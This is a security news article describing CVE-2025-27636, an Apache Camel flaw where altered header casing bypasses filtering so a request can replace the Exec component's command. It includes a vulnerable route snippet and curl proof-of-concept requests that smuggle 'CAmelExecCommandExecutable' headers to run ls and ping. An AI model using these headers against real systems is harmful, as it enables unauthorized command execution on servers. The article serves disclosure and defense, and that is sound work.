Apache Camel Vulnerability Allows Attackers to Inject Arbitrary Headers

A newly disclosed security vulnerability in Apache Camel, tracked as CVE-2025-27636, has raised alarms across the cybersecurity community.

The flaw allows attackers to inject arbitrary headers into Camel Exec component configurations, potentially enabling remote code execution (RCE).

The vulnerability impacts several versions, including 3.10.0 through 3.22.3, 4.8.0 through 4.8.4, and 4.10.0 through 4.10.1.

This exploit highlights the dangers of misconfigured header filtering within Apache Camel, a widely used integration framework designed for connecting various systems and applications.

Security professionals are urging organizations using vulnerable versions to patch their systems immediately to mitigate the risks.

The vulnerability stems from incorrect header handling by the Camel framework, specifically in cases of header naming with altered casing, as per a report by Github.

Exploiting the flaw allows attackers to bypass filters and override static commands specified in the Camel configurations.

Proof of Concept (PoC)

A sample vulnerable application demonstrates how the Camel Exec component can be exploited to achieve remote code execution. Below is an example of the vulnerable code:

// receive request from client and pass it to the "Exec" camel component

from("jetty:http://0.0.0.0:80/vulnerable")

.log("Received request from client")

// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header

.to("exec:whoami")

.convertBodyTo(String.class)

.log("Command Output: ${body}");

In this scenario, the application exposes an HTTP endpoint that executes the “whoami” command. While the command is statically defined in the code, attackers can overwrite it using a specially crafted header.

Exploitation Details

The exploit works by sending a malicious header to the vulnerable endpoint. For example:

$ curl “http://localhost:80/vulnerable” –header “CAmelExecCommandExecutable: ls”

This command overrides the default execution behavior and reveals directory contents. Similarly, attackers can pass arguments using the header CamelExecCommandArgs:

$ curl “http://localhost:80/vulnerable” –header “CAmelExecCommandExecutable: ping” –header “CAmelExecCommandArgs: -c 2 8.8.8.8”

The vulnerability arises from the improper handling of header naming conventions.

Camel was intended to filter out headers such as CamelExecCommandExecutable, but the casing variant CAmelExecCommandExecutable bypasses the protection mechanism, allowing arbitrary command execution.

When conventional headers are used without exploiting the case-sensitivity flaw, the application functions as intended, executing the static command:

$ curl “http://localhost:80/vulnerable” –header “CamelExecCommandExecutable: ls”

Impact and Mitigation

The consequences of this vulnerability are severe, as attackers can execute arbitrary commands on vulnerable systems, exposing sensitive data, enabling lateral movement, or causing service disruptions.

Apache has issued an advisory acknowledging the vulnerability and is actively working to release patches for affected versions. To defend against CVE-2025-27636, users are advised to:

1. Upgrade Apache Camel: Apply updates once the patched versions are released by Apache.
2. Restrict Endpoint Access: Limit exposure of vulnerable endpoints to trusted networks.
3. Monitor for Indicators of Compromise (IoC): Look for unusual HTTP headers or command executions in logs.

As attackers increasingly target integration frameworks like Apache Camel, organizations must prioritize security updates and harden access controls to minimize the risks.

This vulnerability serves as a stark reminder that even subtle flaws can have devastating consequences in the landscape of modern IT infrastructure.

Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.